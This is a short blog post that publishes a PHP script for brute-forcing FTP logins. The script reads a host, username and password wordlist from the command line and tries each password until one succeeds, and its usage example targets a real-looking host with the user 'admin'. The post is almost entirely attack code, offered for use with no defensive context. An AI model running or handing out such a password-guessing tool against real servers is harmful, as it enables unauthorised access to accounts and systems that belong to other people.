Simple FTP Brute-Force

On viernes, 28 de enero de 2011 0 comentarios

Source Code


  1. $sito = $argv[1];
  2. $username = $argv[2];
  3. $lista = $argv[3];
  4.  
  5. if((isset($sito)) AND (isset($lista)) AND (isset($username))){
  6.  
  7. if (file_exists($lista)){
  8.  
  9. $lista = file($lista);
  10. $connessione = ftp_connect($sito) or die("Impossibile stabilire una connessione a $sito");
  11.  
  12. foreach($lista as $passwd){
  13.  
  14. if(@ftp_login($connessione, $username, $passwd)){
  15. die("\t[Successo] - $passwd");
  16. } else {
  17. print "[Fallito] - $passwd\n";
  18. }
  19.  
  20. }
  21.  
  22. ftp_close($connessione);
  23. } else
  24. die("Lista per il brute force assente");
  25.  
  26. } else
  27. die("Uso: php .php \nEsempio: php brute.php ftp.google.it admin /root/list.txt");
  28. ?>

0 comentarios:

Publicar un comentario